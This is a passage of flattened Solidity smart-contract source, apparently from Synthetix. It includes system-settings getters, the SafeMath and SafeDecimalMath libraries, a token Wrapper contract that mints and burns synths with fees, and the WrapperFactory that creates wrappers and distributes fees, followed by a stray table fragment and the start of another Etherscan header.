bytes32 internal constant SETTING_TRADING_REWARDS_ENABLED = "tradingRewardsEnabled";
bytes32 internal constant SETTING_DEBT_SNAPSHOT_STALE_TIME = "debtSnapshotStaleTime";
bytes32 internal constant SETTING_CROSS_DOMAIN_DEPOSIT_GAS_LIMIT = "crossDomainDepositGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_ESCROW_GAS_LIMIT = "crossDomainEscrowGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_REWARD_GAS_LIMIT = "crossDomainRewardGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_WITHDRAWAL_GAS_LIMIT = "crossDomainWithdrawalGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_RELAY_GAS_LIMIT = "crossDomainRelayGasLimit";
bytes32 internal constant SETTING_ETHER_WRAPPER_MAX_ETH = "etherWrapperMaxETH";
bytes32 internal constant SETTING_ETHER_WRAPPER_MINT_FEE_RATE = "etherWrapperMintFeeRate";
bytes32 internal constant SETTING_ETHER_WRAPPER_BURN_FEE_RATE = "etherWrapperBurnFeeRate";
bytes32 internal constant SETTING_WRAPPER_MAX_TOKEN_AMOUNT = "wrapperMaxTokens";
bytes32 internal constant SETTING_WRAPPER_MINT_FEE_RATE = "wrapperMintFeeRate";
bytes32 internal constant SETTING_WRAPPER_BURN_FEE_RATE = "wrapperBurnFeeRate";
bytes32 internal constant SETTING_MIN_CRATIO = "minCratio";
bytes32 internal constant SETTING_NEW_COLLATERAL_MANAGER = "newCollateralManager";
bytes32 internal constant SETTING_INTERACTION_DELAY = "interactionDelay";
bytes32 internal constant SETTING_COLLAPSE_FEE_RATE = "collapseFeeRate";
bytes32 internal constant SETTING_ATOMIC_MAX_VOLUME_PER_BLOCK = "atomicMaxVolumePerBlock";
bytes32 internal constant SETTING_ATOMIC_TWAP_WINDOW = "atomicTwapWindow";
bytes32 internal constant SETTING_ATOMIC_EQUIVALENT_FOR_DEX_PRICING = "atomicEquivalentForDexPricing";
bytes32 internal constant SETTING_ATOMIC_EXCHANGE_FEE_RATE = "atomicExchangeFeeRate";
bytes32 internal constant SETTING_ATOMIC_PRICE_BUFFER = "atomicPriceBuffer";
bytes32 internal constant SETTING_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW = "atomicVolConsiderationWindow";
bytes32 internal constant SETTING_ATOMIC_VOLATILITY_UPDATE_THRESHOLD = "atomicVolUpdateThreshold";
bytes32 internal constant CONTRACT_FLEXIBLESTORAGE = "FlexibleStorage";
enum CrossDomainMessageGasLimits {Deposit, Escrow, Reward, Withdrawal, Relay}
constructor(address _resolver) internal MixinResolver(_resolver) {}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
addresses = new bytes32[](1);
addresses[0] = CONTRACT_FLEXIBLESTORAGE;
}
function flexibleStorage() internal view returns (IFlexibleStorage) {
return IFlexibleStorage(requireAndGetAddress(CONTRACT_FLEXIBLESTORAGE));
}
function _getGasLimitSetting(CrossDomainMessageGasLimits gasLimitType) internal pure returns (bytes32) {
if (gasLimitType == CrossDomainMessageGasLimits.Deposit) {
return SETTING_CROSS_DOMAIN_DEPOSIT_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Escrow) {
return SETTING_CROSS_DOMAIN_ESCROW_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Reward) {
return SETTING_CROSS_DOMAIN_REWARD_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Withdrawal) {
return SETTING_CROSS_DOMAIN_WITHDRAWAL_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Relay) {
return SETTING_CROSS_DOMAIN_RELAY_GAS_LIMIT;
} else {
revert("Unknown gas limit type");
}
}
function getCrossDomainMessageGasLimit(CrossDomainMessageGasLimits gasLimitType) internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, _getGasLimitSetting(gasLimitType));
}
function getTradingRewardsEnabled() internal view returns (bool) {
return flexibleStorage().getBoolValue(SETTING_CONTRACT_NAME, SETTING_TRADING_REWARDS_ENABLED);
}
function getWaitingPeriodSecs() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_WAITING_PERIOD_SECS);
}
function getPriceDeviationThresholdFactor() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_PRICE_DEVIATION_THRESHOLD_FACTOR);
}
function getIssuanceRatio() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ISSUANCE_RATIO);
}
function getFeePeriodDuration() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_FEE_PERIOD_DURATION);
}
function getTargetThreshold() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_TARGET_THRESHOLD);
}
function getLiquidationDelay() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_DELAY);
}
function getLiquidationRatio() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_RATIO);
}
function getLiquidationPenalty() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_PENALTY);
}
function getRateStalePeriod() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_RATE_STALE_PERIOD);
}
function getExchangeFeeRate(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_EXCHANGE_FEE_RATE, currencyKey))
);
}
function getMinimumStakeTime() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_MINIMUM_STAKE_TIME);
}
function getAggregatorWarningFlags() internal view returns (address) {
return flexibleStorage().getAddressValue(SETTING_CONTRACT_NAME, SETTING_AGGREGATOR_WARNING_FLAGS);
}
function getDebtSnapshotStaleTime() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_DEBT_SNAPSHOT_STALE_TIME);
}
function getEtherWrapperMaxETH() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_MAX_ETH);
}
function getEtherWrapperMintFeeRate() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_MINT_FEE_RATE);
}
function getEtherWrapperBurnFeeRate() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_BURN_FEE_RATE);
}
function getWrapperMaxTokenAmount(address wrapper) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_WRAPPER_MAX_TOKEN_AMOUNT, wrapper))
);
}
function getWrapperMintFeeRate(address wrapper) internal view returns (int) {
return
flexibleStorage().getIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_WRAPPER_MINT_FEE_RATE, wrapper))
);
}
function getWrapperBurnFeeRate(address wrapper) internal view returns (int) {
return
flexibleStorage().getIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_WRAPPER_BURN_FEE_RATE, wrapper))
);
}
function getMinCratio(address collateral) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_MIN_CRATIO, collateral))
);
}
function getNewCollateralManager(address collateral) internal view returns (address) {
return
flexibleStorage().getAddressValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_NEW_COLLATERAL_MANAGER, collateral))
);
}
function getInteractionDelay(address collateral) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_INTERACTION_DELAY, collateral))
);
}
function getCollapseFeeRate(address collateral) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_COLLAPSE_FEE_RATE, collateral))
);
}
function getAtomicMaxVolumePerBlock() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ATOMIC_MAX_VOLUME_PER_BLOCK);
}
function getAtomicTwapWindow() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ATOMIC_TWAP_WINDOW);
}
function getAtomicEquivalentForDexPricing(bytes32 currencyKey) internal view returns (address) {
return
flexibleStorage().getAddressValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_EQUIVALENT_FOR_DEX_PRICING, currencyKey))
);
}
function getAtomicExchangeFeeRate(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_EXCHANGE_FEE_RATE, currencyKey))
);
}
function getAtomicPriceBuffer(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_PRICE_BUFFER, currencyKey))
);
}
function getAtomicVolatilityConsiderationWindow(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW, currencyKey))
);
}
function getAtomicVolatilityUpdateThreshold(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_VOLATILITY_UPDATE_THRESHOLD, currencyKey))
);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint public constant UNIT = 10**uint(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit() external pure returns (uint) {
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint x, uint y) internal pure returns (uint) {
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
/* ---------- Utilities ---------- */
/*
* Absolute value of the input, returned as a signed number.
*/
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
/*
* Absolute value of the input, returned as an unsigned number.
*/
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
// Inheritance
// Internal references
// Libraries
// https://docs.synthetix.io/contracts/source/contracts/wrapper
contract Wrapper is Owned, Pausable, MixinResolver, MixinSystemSettings, IWrapper {
using SafeMath for uint;
using SafeDecimalMath for uint;
/* ========== ENCODED NAMES ========== */
bytes32 internal constant sUSD = "sUSD";
/* ========== ADDRESS RESOLVER CONFIGURATION ========== */
bytes32 private constant CONTRACT_SYNTH_SUSD = "SynthsUSD";
bytes32 private constant CONTRACT_EXRATES = "ExchangeRates";
bytes32 private constant CONTRACT_DEBTCACHE = "DebtCache";
bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus";
bytes32 private constant CONTRACT_WRAPPERFACTORY = "WrapperFactory";
// ========== STATE VARIABLES ==========
// NOTE: these values should ideally be `immutable` instead of public
IERC20 public token;
bytes32 public currencyKey;
bytes32 public synthContractName;
uint public targetSynthIssued;
constructor(
address _owner,
address _resolver,
IERC20 _token,
bytes32 _currencyKey,
bytes32 _synthContractName
) public Owned(_owner) MixinSystemSettings(_resolver) {
token = _token;
currencyKey = _currencyKey;
synthContractName = _synthContractName;
targetSynthIssued = 0;
token.approve(address(this), uint256(-1));
}
/* ========== VIEWS ========== */
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
bytes32[] memory existingAddresses = MixinSystemSettings.resolverAddressesRequired();
bytes32[] memory newAddresses = new bytes32[](6);
newAddresses[0] = CONTRACT_SYNTH_SUSD;
newAddresses[1] = synthContractName;
newAddresses[2] = CONTRACT_EXRATES;
newAddresses[3] = CONTRACT_DEBTCACHE;
newAddresses[4] = CONTRACT_SYSTEMSTATUS;
newAddresses[5] = CONTRACT_WRAPPERFACTORY;
addresses = combineArrays(existingAddresses, newAddresses);
return addresses;
}
/* ========== INTERNAL VIEWS ========== */
function synthsUSD() internal view returns (ISynth) {
return ISynth(requireAndGetAddress(CONTRACT_SYNTH_SUSD));
}
function synth() internal view returns (ISynth) {
return ISynth(requireAndGetAddress(synthContractName));
}
function exchangeRates() internal view returns (IExchangeRates) {
return IExchangeRates(requireAndGetAddress(CONTRACT_EXRATES));
}
function debtCache() internal view returns (IDebtCache) {
return IDebtCache(requireAndGetAddress(CONTRACT_DEBTCACHE));
}
function systemStatus() internal view returns (ISystemStatus) {
return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS));
}
function wrapperFactory() internal view returns (IWrapperFactory) {
return IWrapperFactory(requireAndGetAddress(CONTRACT_WRAPPERFACTORY));
}
/* ========== PUBLIC FUNCTIONS ========== */
// ========== VIEWS ==========
function capacity() public view returns (uint _capacity) {
// capacity = max(maxETH - balance, 0)
uint balance = getReserves();
uint maxToken = maxTokenAmount();
if (balance >= maxToken) {
return 0;
}
return maxToken.sub(balance);
}
function totalIssuedSynths() public view returns (uint) {
// synths issued by this contract is always exactly equal to the balance of reserves
return exchangeRates().effectiveValue(currencyKey, targetSynthIssued, sUSD);
}
function getReserves() public view returns (uint) {
return token.balanceOf(address(this));
}
function calculateMintFee(uint amount) public view returns (uint, bool) {
int r = mintFeeRate();
if (r < 0) {
return (amount.multiplyDecimalRound(uint(-r)), true);
} else {
return (amount.multiplyDecimalRound(uint(r)), false);
}
}
function calculateBurnFee(uint amount) public view returns (uint, bool) {
int r = burnFeeRate();
if (r < 0) {
return (amount.multiplyDecimalRound(uint(-r)), true);
} else {
return (amount.multiplyDecimalRound(uint(r)), false);
}
}
function maxTokenAmount() public view returns (uint256) {
return getWrapperMaxTokenAmount(address(this));
}
function mintFeeRate() public view returns (int256) {
return getWrapperMintFeeRate(address(this));
}
function burnFeeRate() public view returns (int256) {
return getWrapperBurnFeeRate(address(this));
}
/* ========== MUTATIVE FUNCTIONS ========== */
// Transfers `amountIn` token to mint `amountIn - fees` of currencyKey.
// `amountIn` is inclusive of fees, calculable via `calculateMintFee`.
function mint(uint amountIn) external notPaused issuanceActive {
require(amountIn <= token.allowance(msg.sender, address(this)), "Allowance not high enough");
require(amountIn <= token.balanceOf(msg.sender), "Balance is too low");
require(!exchangeRates().rateIsInvalid(currencyKey), "Currency rate is invalid");
uint currentCapacity = capacity();
require(currentCapacity > 0, "Contract has no spare capacity to mint");
uint actualAmountIn = currentCapacity < amountIn ? currentCapacity : amountIn;
(uint feeAmountTarget, bool negative) = calculateMintFee(actualAmountIn);
uint mintAmount = negative ? actualAmountIn.add(feeAmountTarget) : actualAmountIn.sub(feeAmountTarget);
// Transfer token from user.
bool success = _safeTransferFrom(address(token), msg.sender, address(this), actualAmountIn);
require(success, "Transfer did not succeed");
// Mint tokens to user
_mint(mintAmount);
emit Minted(msg.sender, mintAmount, negative ? 0 : feeAmountTarget, actualAmountIn);
}
// Burns `amountIn` synth for `amountIn - fees` amount of token.
// `amountIn` is inclusive of fees, calculable via `calculateBurnFee`.
function burn(uint amountIn) external notPaused issuanceActive {
require(amountIn <= IERC20(address(synth())).balanceOf(msg.sender), "Balance is too low");
require(!exchangeRates().rateIsInvalid(currencyKey), "Currency rate is invalid");
require(totalIssuedSynths() > 0, "Contract cannot burn for token, token balance is zero");
(uint burnFee, bool negative) = calculateBurnFee(targetSynthIssued);
uint burnAmount;
uint amountOut;
if (negative) {
burnAmount = targetSynthIssued < amountIn ? targetSynthIssued.sub(burnFee) : amountIn;
amountOut = burnAmount.multiplyDecimal(
// -1e18 <= burnFeeRate <= 1e18 so this operation is safe
uint(int(SafeDecimalMath.unit()) - burnFeeRate())
);
} else {
burnAmount = targetSynthIssued.add(burnFee) < amountIn ? targetSynthIssued.add(burnFee) : amountIn;
amountOut = burnAmount.divideDecimal(
// -1e18 <= burnFeeRate <= 1e18 so this operation is safe
uint(int(SafeDecimalMath.unit()) + burnFeeRate())
);
}
uint feeAmountTarget = negative ? 0 : burnAmount.sub(amountOut);
// Transfer token to user.
bool success = _safeTransferFrom(address(token), address(this), msg.sender, amountOut);
require(success, "Transfer did not succeed");
// Burn
_burn(burnAmount);
emit Burned(msg.sender, amountOut, feeAmountTarget, burnAmount);
}
// ========== RESTRICTED ==========
/**
* @notice Fallback function
*/
function() external payable {
revert("Fallback disabled, use mint()");
}
/* ========== INTERNAL FUNCTIONS ========== */
function _mint(uint amount) internal {
uint reserves = getReserves();
uint excessAmount = reserves > targetSynthIssued.add(amount) ? reserves.sub(targetSynthIssued.add(amount)) : 0;
uint excessAmountUsd = exchangeRates().effectiveValue(currencyKey, excessAmount, sUSD);
// Mint `amount` to user.
synth().issue(msg.sender, amount);
// Escrow fee.
if (excessAmountUsd > 0) {
synthsUSD().issue(address(wrapperFactory()), excessAmountUsd);
}
// in the case of a negative fee extra synths will be issued, billed to the snx stakers
_setTargetSynthIssued(reserves);
}
function _burn(uint amount) internal {
uint reserves = getReserves();
// this is logically equivalent to getReserves() - (targetSynthIssued - amount), without going negative
uint excessAmount = reserves.add(amount) > targetSynthIssued ? reserves.add(amount).sub(targetSynthIssued) : 0;
uint excessAmountUsd = exchangeRates().effectiveValue(currencyKey, excessAmount, sUSD);
// Burn `amount` of currencyKey from user.
synth().burn(msg.sender, amount);
// We use burn/issue instead of burning the principal and transferring the fee.
// This saves an approval and is cheaper.
// Escrow fee.
if (excessAmountUsd > 0) {
synthsUSD().issue(address(wrapperFactory()), excessAmountUsd);
}
// in the case of a negative fee fewer synths will be burned, billed to the snx stakers
_setTargetSynthIssued(reserves);
}
function _setTargetSynthIssued(uint _targetSynthIssued) internal {
debtCache().recordExcludedDebtChange(currencyKey, int256(_targetSynthIssued) - int256(targetSynthIssued));
targetSynthIssued = _targetSynthIssued;
}
function _safeTransferFrom(
address _tokenAddress,
address _from,
address _to,
uint256 _value
) internal returns (bool success) {
// note: both of these could be replaced with manual mstore's to reduce cost if desired
bytes memory msgData = abi.encodeWithSignature("transferFrom(address,address,uint256)", _from, _to, _value);
uint msgSize = msgData.length;
assembly {
// pre-set scratch space to all bits set
mstore(0x00, 0xff)
// note: this requires tangerine whistle compatible EVM
if iszero(call(gas(), _tokenAddress, 0, add(msgData, 0x20), msgSize, 0x00, 0x20)) {
revert(0, 0)
}
switch mload(0x00)
case 0xff {
// token is not fully ERC20 compatible, didn't return anything, assume it was successful
success := 1
}
case 0x01 {
success := 1
}
case 0x00 {
success := 0
}
default {
// unexpected value, what could this be?
revert(0, 0)
}
}
}
modifier issuanceActive {
systemStatus().requireIssuanceActive();
_;
}
/* ========== EVENTS ========== */
event Minted(address indexed account, uint principal, uint fee, uint amountIn);
event Burned(address indexed account, uint principal, uint fee, uint amountIn);
}
// https://docs.synthetix.io/contracts/source/interfaces/ifeepool
interface IFeePool {
// Views
// solhint-disable-next-line func-name-mixedcase
function FEE_ADDRESS() external view returns (address);
function feesAvailable(address account) external view returns (uint, uint);
function feePeriodDuration() external view returns (uint);
function isFeesClaimable(address account) external view returns (bool);
function targetThreshold() external view returns (uint);
function totalFeesAvailable() external view returns (uint);
function totalRewardsAvailable() external view returns (uint);
// Mutative Functions
function claimFees() external returns (bool);
function claimOnBehalf(address claimingForAddress) external returns (bool);
function closeCurrentFeePeriod() external;
// Restricted: used internally to Synthetix
function appendAccountIssuanceRecord(
address account,
uint lockedAmount,
uint debtEntryIndex
) external;
function recordFeePaid(uint sUSDAmount) external;
function setRewardsToDistribute(uint amount) external;
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/wrapperfactory
contract WrapperFactory is Owned, MixinResolver, IWrapperFactory {
bytes32 public constant CONTRACT_NAME = "WrapperFactory";
bytes32 internal constant CONTRACT_FLEXIBLESTORAGE = "FlexibleStorage";
bytes32 internal constant CONTRACT_SYNTH_SUSD = "SynthsUSD";
bytes32 internal constant CONTRACT_FEEPOOL = "FeePool";
uint internal constant WRAPPER_VERSION = 1;
/* ========== CONSTRUCTOR ========== */
constructor(address _owner, address _resolver) public Owned(_owner) MixinResolver(_resolver) {}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
addresses = new bytes32[](3);
addresses[0] = CONTRACT_SYNTH_SUSD;
addresses[1] = CONTRACT_FLEXIBLESTORAGE;
addresses[2] = CONTRACT_FEEPOOL;
}
/* ========== INTERNAL VIEWS ========== */
function synthsUSD() internal view returns (IERC20) {
return IERC20(requireAndGetAddress(CONTRACT_SYNTH_SUSD));
}
function flexibleStorage() internal view returns (IFlexibleStorage) {
return IFlexibleStorage(requireAndGetAddress(CONTRACT_FLEXIBLESTORAGE));
}
function feePool() internal view returns (IFeePool) {
return IFeePool(requireAndGetAddress(CONTRACT_FEEPOOL));
}
// ========== VIEWS ==========
// Returns the version of a wrapper created by this wrapper factory
// Used by MultiCollateralSynth to know if it should trust the wrapper contract
function isWrapper(address possibleWrapper) external view returns (bool) {
return flexibleStorage().getUIntValue(CONTRACT_NAME, bytes32(uint(address(possibleWrapper)))) > 0;
}
function feesEscrowed() public view returns (uint) {
return synthsUSD().balanceOf(address(this));
}
// ========== RESTRICTED ==========
/**
* @notice Fallback function
*/
function() external payable {
revert("Contract is not payable");
}
/* ========== MUTATIVE FUNCTIONS ========== */
function createWrapper(
IERC20 token,
bytes32 currencyKey,
bytes32 synthContractName
) external onlyOwner returns (address) {
// Create the wrapper instance
Wrapper wrapper = new Wrapper(owner, address(resolver), token, currencyKey, synthContractName);
// Rebuild caches immediately since it will almost certainly need to be done
wrapper.rebuildCache();
// Register it so that MultiCollateralSynth knows to trust it
flexibleStorage().setUIntValue(CONTRACT_NAME, bytes32(uint(address(wrapper))), WRAPPER_VERSION);
emit WrapperCreated(address(token), currencyKey, address(wrapper));
return address(wrapper);
}
function distributeFees() external {
// Normalize fee to sUSD
uint amountSUSD = feesEscrowed();
if (amountSUSD > 0) {
// Transfer sUSD to the fee pool
bool success = synthsUSD().transfer(feePool().FEE_ADDRESS(), amountSUSD);
require(success, "Transfer did not succeed");
}
}
event WrapperCreated(address indexed token, bytes32 indexed currencyKey, address wrapperAddress);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
/**
/*
